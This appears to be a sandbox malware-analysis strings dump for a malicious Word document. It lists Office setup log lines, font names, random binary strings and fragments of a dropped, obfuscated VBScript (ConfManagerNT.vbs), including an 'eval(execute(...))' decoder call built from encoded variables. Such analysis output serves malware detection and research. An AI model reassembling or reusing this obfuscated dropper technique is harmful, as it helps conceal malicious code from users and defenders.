Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001F-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001F-040C-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001F-0C0A-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-002C-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0043-0000-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0043-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0044-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-006E-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-00A1-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-00BA-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0115-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0117-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller files for product [PROPLUS].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Enumerate = ""

Ansi based on Dropped File (ConfManagerNT.vbs)

eooie}f6M7?}nUjVe%;H~H''Y>?x!<OSDwLBetXfn)p7YQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ep33s<|7~3r8>8ur8qp"d3'M2"4Yydf*r}}R3uTH+}]f)AwrH/`U-OZmVrJ3}z!1KHHlaU91c7HTF1\l8xy

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

epkEqo?YrMV(Ok[9O30wc/A<

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

EQanEV'sM(rE8}42Vuj{E<#1>[e%f&=-25B<h<\O;Gc4sUfqO]x6Q6sm2ZNy&Mew&W

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

EquationEditorFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Eras Bold ITC

Unicode based on Runtime Data (WINWORD.EXE )

Eras Demi ITC

Unicode based on Runtime Data (WINWORD.EXE )

Eras Light ITC

Unicode based on Runtime Data (WINWORD.EXE )

Eras Medium ITC

Unicode based on Runtime Data (WINWORD.EXE )

err.clear

Ansi based on Dropped File (ConfManagerNT.vbs)

Error: Failed to configure: {90140000-006E-0409-1000-0000000FF1CE} ErrorCode: 1601(0x641).

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Error: OptionDependency: Indirect dependencies are not supported. Option WISPHidden has a lead WISPFiles which also has 1 leads.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Estrangelo Edessa

Unicode based on Runtime Data (WINWORD.EXE )

Et<ZWw(vhXD_~X?e..

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

et_{Ug'=\^a~43OwGGHyr5s{N[oNnJ8*rh|yPRQn_H6n+)?Zt/--o'U.?:C4Z-R-/..OxJLo/D9!o\bZA]0=1oJN?7'.6Z \NY@EU}(Qx@DGLQ0_/0W(SVpG!AT'wNtC'A*Am':"Q/tfs5-W$Cw/\vKg=XI~Mdey9w60h4^7)C^QF fyQ/F}'S.}_ua4o2C

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

EucrosiaUPC

Unicode based on Runtime Data (WINWORD.EXE )

EUX*Ge|_7+"n9Vqq5JRp+~(/'~CN$0>|#(G8TO^4|?N&?>o`b5]c]sp;2@d@JLrvl/*WI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ev=9,!{zmVAM"s:7o<HGX/A< -&-42RH|KO.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

eval(execute(NVDIF(L_Text_Error_General05_Text_wXJ & oService_eKF & FilePath_Hfq & oService_tWP & oService_LPC & RemoveBackslashes_pKW & L_Text_Error_General05_Text_coH & FilePath_NZq & FilePath_NcX & strNameSpace_okS & L_Text_Msg_Driver03_Text_nMh & FilePath_Brh & strRet_yZU & strRet_iWj & FilePath_cGQ & oService_QED & L_Text_Error_General05_Text_ugo & oService_CxR & RemoveBackslashes_poS & oService_APQ & RemoveBackslashes_Fvw & L_Text_Msg_Driver03_Text_tWL & strNameSpace_dVY & FilePath_MCi & oService_iIR )))

Ansi based on Dropped File (ConfManagerNT.vbs)

Excel_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ExcelAddinATPFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ExcelAddInEuroToolFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ExcelAddinFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ExcelAddinSolverFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

EXCELFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ExcelHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ExcelPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ExcelPreviewReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ExcelSampleFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Executing chained package: OfficeMUI.en-us

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ExG[Xr' @N\Ki<t k>2PF"f/"=&n+RqZsH.">RM:3~}@N/i%==ke-4=

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

exit function

Ansi based on Dropped File (ConfManagerNT.vbs)

Exit Function

Ansi based on Dropped File (ConfManagerNT.vbs)

exLJS3wrl]T0N 2'8q0cOkW1|/]?6G}2S`l,(2Av:9gVLtk&sH?q4'VXCri|1_|7"f6/R k4d Yqf?3yB&/MN<&}$Li~V

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

expectedLength = expectedLength + 2

Ansi based on Dropped File (ConfManagerNT.vbs)

expectedLength = expectedLength + m.Length

Ansi based on Dropped File (ConfManagerNT.vbs)

expectedLength = matches.Count-1

Ansi based on Dropped File (ConfManagerNT.vbs)

EyIC8KI[qV"9}W,,:yb2(NV|QgB=Rpm!&,IP)ic0iJaaDy_X@"P`81Kt+C!GbL(0!8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ezu7Kx&Fnv=:EO++c_/O?1RrO/O/2pLLMz#oDn\_F<'8Xt|/#S3T9qAxrjd\Z-7f7rkvyQ/Eo/-`C^1Nwn.7Z?/c?(=.W-+&[X//_.|qD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

e{^_+7=cY"l;=Y{=Lfv?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

f!'"T'3%? ~Er==iJe8/Q(5/` 8f15gx6g<+#WPJH8K,,a~qpICp/7\4V[G|<VkUCS""pCWtt5c~;0Lp[hkqWnkn+Vx~_N_M_1["d"4E9%1ChNydw!]"/ *##f&j""(\)`C$LxKr+vt[Hx{4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

F!-)8vAMM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

f"!_eM@rxX57XyU%]Kh1-Pt\/+"7D!+?'P4hYKxV]@'G{F9'F[Cz'n"TC0_FDPh"Oc^4/$9y8g39Um77k3>y}<(sx,001,qI|!BFzJp/ADf:,72B1N'qaZ9q$f1<u*a/s IGmMee7_j){Ft7R[F)MlXa^//BZFyn'!\!:\bQ]=MGh<)HwE--MP1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

F"''v,gP34YHhY /$Jp7csXMNJ'Z|<O(6&7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

F'&M9a'_X2C3j0Z91)FUtp#yLeZ_Q^#w$w5X)AYC*`4zUU.dWVpwHDfC!]Tj]+#e

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

F-^xbqZIDAThoh&//O?DYx$qN@Kov~8txZn@ ).3h@7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

F/uRYHU^?Oyo{5[q"\'gP?w).=4C;t_Y>,~'e}r)< l)aNy1Hc$@q?M?9y(A/O2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

f1[Siku[uPxsi\>rHW|f#0([%D\44An+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

f1_3tr)^Y2o[a;{6zkO#$MG:uEIg>627Bbom3Rv[U[~+koi|&;TB.Cy=#']<k^KWS&

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

f4"s?g{Z=t?EBIyEaAxswIv chQ dpfbELW^>HVnclGXv,soAbh!bp"k?/V"kq{5IE;v]te))\@_I$j*Y{be#c${(O|Z\I1t$~?bqE];I!KLiit|-i5y!0-58q*@ob>v&O}PbM?7|k*K

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

F;Admh ~r8];qr"i[- n&UnOmifO0-,m7'LS)wRM'a]afm7mw?%:|L co|a<X1HwjMvD:E'?uSp6k/[Dm,\}\ormLj.)y&Y%dA6/u$/9 YIS^zjJ4NlS[Z`mDm <~tAQ1.!MRg5$8/-=8xo_d1cv2v~zDv I!G-R@oo$dM$e?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

F@SePH5{(D|uN5E5[D#@\BREbqS#!F^<:gKJRH7+tQo\J@i3:~[y7'^N{~yk*d%};4=<B47y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

f[""W;H{".D\rnYr=t

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

F]Nny';]6tpK.0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

f`u:?GkrV&{Gr[EtyG7o}zLie`FwsQ~z<{hs@t-@\yC.25QE<A4wF'n=fr;4p

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Fb0*tzw}/5b;uBQ!B$|Zz!O{~Xv=CP

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

fb@J5;Q;7j'-_HFqw

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FboyP[^(Kj.PYC)|EaMKJX+kA14TL.I_WOG~14N1xsaxJA}=cD|K81<s2zI;3wAC,$/.l^=[.sG9A['Pyoi:BUgip+{eF_7=FO[Z_OXOnQ=OzhP>iBSI;w]}R|vn><e3{zr6\VV

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FC'!hS:0a#|Gfuk][M$ZP0K^.zpwp$[h"#exxEL[!^0:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FdfP=5;4TLaE"S4RXnbxgh,cV:P4Mpl-9j;/cx#)(kyaDQ$GH`co[`t3i @TLM?&R9eWVo^ZOcU$2@Wu?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

feAMUVhPTN2"I&,3"Zy9VF'tP9WBhP%bab^vr37]3[1ED"kUegG8rS|H.E/5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Felix Titling

Unicode based on Runtime Data (WINWORD.EXE )

feP`3'MBL, P<vZG?z$;$YI[$**8O&UxsC.xtSy"Y|h?[?f`N>JK\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ff3;-\n<Sn;O2pOw#xpvyf>x

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FFEl:n <H_5Tqh"mMV[86#?/<Aa.<Y>D%L<3"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

fg ex^qzr__$~buyw'[cgmVAqV p3[;h'53ti,zZDOBZr\.XO90k7fTZzMC;dr-e&wI9)sA32/7T&Xh|+<q|d){E-Oc=}sL>1@W"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Fg^~2C^Y^N|3y*omvtcpd>"<'?l]\J6:^P>r/>zLc&w+;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FgA,c*{2#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FGG7obQs_[o-M|ZhKXzsa "w~\u=c0/ZK8Q&Mnu\neUS*[d<gk0=/[vD-ZFIEGta<@o7EK8{'0,vj#&']`_C68l

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

fH;8@ t>F`q,u7pEWb2nj6/.#)/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FI%;kwoOvwwm6RK[U1:r4p

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

File: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Office.en-us\OfficeMUI.MSI

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

FilePath_Brh = TXDQLnvOim

Ansi based on Dropped File (ConfManagerNT.vbs)

FilePath_cGQ = ZPoILwcbAd

Ansi based on Dropped File (ConfManagerNT.vbs)

FilePath_Hfq = ")2?=/8Y2?B.;[1=H2+Q2S"

Ansi based on Dropped File (ConfManagerNT.vbs)

FilePath_MCi = "R3))1G-.<*2[Z1[,1=F05"

Ansi based on Dropped File (ConfManagerNT.vbs)

FilePath_NcX = OZtLxGYnEL

Ansi based on Dropped File (ConfManagerNT.vbs)

FilePath_NZq = "E.JR-BJ3(U1G>2?R.;[29"

Ansi based on Dropped File (ConfManagerNT.vbs)

filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"

Ansi based on Dropped File (ConfManagerNT.vbs)

filter = cmdlineOptions.Argument(NPARA_FILTER)

Ansi based on Dropped File (ConfManagerNT.vbs)

filter = filter & "</wsman:SelectorSet>"

Ansi based on Dropped File (ConfManagerNT.vbs)

filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"

Ansi based on Dropped File (ConfManagerNT.vbs)

Final Option Tree:

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

FindAllWordFormsFiles_1033:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

FindAllWordFormsFiles_1036:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

FindAllWordFormsFiles_3082:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

flags = 0

Ansi based on Dropped File (ConfManagerNT.vbs)

flags = flags OR wsmanObj.EnumerationFlagAssociatedInstance

Ansi based on Dropped File (ConfManagerNT.vbs)

flags = flags OR wsmanObj.EnumerationFlagAssociationInstance

Ansi based on Dropped File (ConfManagerNT.vbs)

flags = flags OR wsmanObj.EnumerationFlagHierarchyDeep

Ansi based on Dropped File (ConfManagerNT.vbs)

flags = flags OR wsmanObj.EnumerationFlagHierarchyDeepBasePropsOnly

Ansi based on Dropped File (ConfManagerNT.vbs)

flags = flags OR wsmanObj.EnumerationFlagHierarchyShallow

Ansi based on Dropped File (ConfManagerNT.vbs)

flags = flags OR wsmanObj.EnumerationFlagReturnEPR

Ansi based on Dropped File (ConfManagerNT.vbs)

flags = flags OR wsmanObj.EnumerationFlagReturnObjectAndEPR

Ansi based on Dropped File (ConfManagerNT.vbs)

fN\Z})Sf*7kiLm(;>9tp{?z/glp>.~6\-o<x9.vaM3Y{~skOAn?oH{=v"wHAWl<|?_|owdpx~a7.)ws8|H<O>;xu'n6xUAe_y*3f!jx={O/7.8WD,rww8paEJ~U.gOZk[E[D"e/`~Uk6,0Y_qC3Ow1nh^k*L3Qnd'1n9\Gr&rl8ygE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FNADY[UNoRI>=/_^c9]r}Aw^fl_ie +"[,'x'.v""FEn-e;75

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FOe^gGpsLB>nAgHkt#'}1c?-HN0hGo1=V..qw,SF2G6)X3L@k;PX7aU!2Fez|?%D;?9c}1S*})V/U2ABOVaU*X%2Vs*Ug1O31_FX~3fxn3f1[bl*-Ln#?_M)3~f:Ln/F+n,n_ oEK.e7LW[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Footlight MT Light

Unicode based on Runtime Data (WINWORD.EXE )

for each key in paramMap

Ansi based on Dropped File (ConfManagerNT.vbs)

for each m in matches

Ansi based on Dropped File (ConfManagerNT.vbs)

For Each name In dict

Ansi based on Dropped File (ConfManagerNT.vbs)

FOr I = 1 TO Len(BBBB)

Ansi based on Dropped File (ConfManagerNT.vbs)

FormEvents

Unicode based on Runtime Data (WINWORD.EXE )

Forms_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

FormsPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found [1] resource files under the default folder.

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Found a reference to Package Id 'AccessMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'AccessMUISet.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'ExcelMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'GrooveMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'InfoPathMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'Office32MUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'Office32WW' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'OfficeMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'OfficeMUISet.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'OneNoteMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'OutlookMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'PowerPointMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'Proof.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'Proof.es-es' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'Proof.fr-fr' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'Proofing.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'ProPlusWW' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'PublisherMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Found a reference to Package Id 'WordMUI.en-us' in ARP entry 'Office14.PROPLUS'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

fOx['kb=r">Y+X?jY7m.LFaa&BpQsC'8ADP{78*na?my1Y_W4VxiGqbzbN5=t;00#S

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

fqL4-\$U[K}LbDx3<=+xN]e;lvhxCo.sg+?gF:h"'aX.ZcDE]hg]~at4TyH#T:ICNJCuD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

fqyO_[wPQU9b.iO}OV;t@Sd8r.wn-%ry.F&<~0>C^Lf;}qqwbf7c6I8f,>jR,yVfBYv-`v9TZ`[!`nt /+$80y SLL(Me#$P@Bn&FD2+9o+c?}XLL6tw6X?Pp`>e}&;}?}}7 SUQI_/h93'7}/@SS3vHlcw0b"3m)NN

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

fR_h_J'G/_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Franklin Gothic Book

Unicode based on Runtime Data (WINWORD.EXE )

Franklin Gothic Demi

Unicode based on Runtime Data (WINWORD.EXE )

Franklin Gothic Demi Cond

Unicode based on Runtime Data (WINWORD.EXE )

Franklin Gothic Heavy

Unicode based on Runtime Data (WINWORD.EXE )

Franklin Gothic Medium

Unicode based on Runtime Data (WINWORD.EXE )

Franklin Gothic Medium Cond

Unicode based on Runtime Data (WINWORD.EXE )

FrankRuehl

Unicode based on Runtime Data (WINWORD.EXE )

FreesiaUPC

Unicode based on Runtime Data (WINWORD.EXE )

Freestyle Script

Unicode based on Runtime Data (WINWORD.EXE )

French Script MT

Unicode based on Runtime Data (WINWORD.EXE )

FtC`<k37D)gdGta

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ftCOh8?;-D4:g1vUv.b@t!'sqV*VT>:PtV., G_zHV9^i,,dsIZ9#3idfAY$|\<p}^\*'Yv@'\OUiE6saz1Ovp\(k[|{%sKyD0r1<wZmN!/?^Rbgro

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ftTao0<e:U-]yf[2%lp0kr,=cjkId0wzDF`Dd)8=D8p){WB:E_onh*%RBee<|-S4e*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FUgljwPqWU="C3(Y.@I13I1Q62S;0N@.:"

Ansi based on Dropped File (ConfManagerNT.vbs)

function AddDriver(strServer, strModel, strFilePath, uVersion, strEnvironment, strInfFile, strUser, strPassword)

Ansi based on Dropped File (ConfManagerNT.vbs)

Function BAbIIWOpqP()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function dfgIskFgaR()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function FUgljwPqWU()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function gvtZtjxcAB()

Ansi based on Dropped File (ConfManagerNT.vbs)

function IsHostCscript()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function LZadobRYLc()

Ansi based on Dropped File (ConfManagerNT.vbs)

FUncTioN nVdif(BYVAl bBBB)

Ansi based on Dropped File (ConfManagerNT.vbs)

Function OgPGZPrMhb()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function OZtLxGYnEL()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function riRJPZYdvG()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function RUnDyVjYEa()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function TXDQLnvOim()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function VMLpfTRIGD()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function wmQLwhgxdH()

Ansi based on Dropped File (ConfManagerNT.vbs)

Function ZPoILwcbAd()

Ansi based on Dropped File (ConfManagerNT.vbs)

fV/uKw1I7\/!lCW6.>q11g}~=~b9K6CBa|0? ?fJH?YG3sS'<h'|k$AA-\]fQffqU8=1),

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FV6}lF:/md9Rat8QNbx3CV4yig!+i}UGK:@cXw9z@3CN|7{$Ydt.pg.S=O{OZg~*OztuMI'D03p*9mF>"Lu

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FX: 8X\Fl r.@_D~*cwo'Pf'-49Pdcpe,)=}=S>lt!c@>+|&neIdK(KyD;1kI\:bktgW:ND'bcw,IIEm@iJ]&nW6N<DLJKz#SDU-)+dmGM?kh>P:!u]4Q%w?uo"#4mMC36`wkMtU6S>7C~j2~ V>+w7^i+|)}=g~oeSaM|-*_Xg_Zcjmbb=+a&w@!1oht`b+}g"kx4=i<n<"[x}:A

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

fx]r}Zt_`l?Gt:'i6dUS|luc"zUO\D@t89+?f/ipY>^};93IDAT*7zd<zVG{d07vQ(*mv0.*P@I1t<GFMDZs;3O,(F>G6&(^_.66fzv&NdX*YI.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

FX|gEXaJGg#?62QSjV|!85;0izQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

F|J6:Iy~%sJ\~Pe*PUh\/.mr"U].\m)jw}Av'B%})'/dW.KuL,($c_1ca3%K%K%&&lW/8%AaUJ{vq,nB\&kDif+|dS:&m2s$Av'*IPws;m<Z8\ uC]kb2A*qb!_+GKeWluN\w,*G>6Nrnl @!!{S;rCWVveT]T%B%LLNm'W/-)9V+#=?kNd!}v%++z?3;+c29=m777M/fmvu*4.,o;j?.nTSl/$FZ]'L'#R77]]/O:;dRI7?+JY#;U&'d[BdkK=ydY$[^>P3!b]d`<>cw?-2R7q4+RsJvip20eJIufz>y72T"Sqj;/"??(iIdkgMU*jJ%i>cg'nhB_$@EA<b?iWBjrJw33]9Y]1r\Rwd?Pmo~ 2qSq&ZHz&5,lQZY6ly_dI$j.Yqrz&2Q9.dd5JL07:`?\Mzc`v9;Alvpkn}H~;x'@,jdv72+Nsa8mG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

g );S3?b(E &d5cLRZ,T(c2GYG2,m3'&i3jduBsJ|xs>ON9H*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

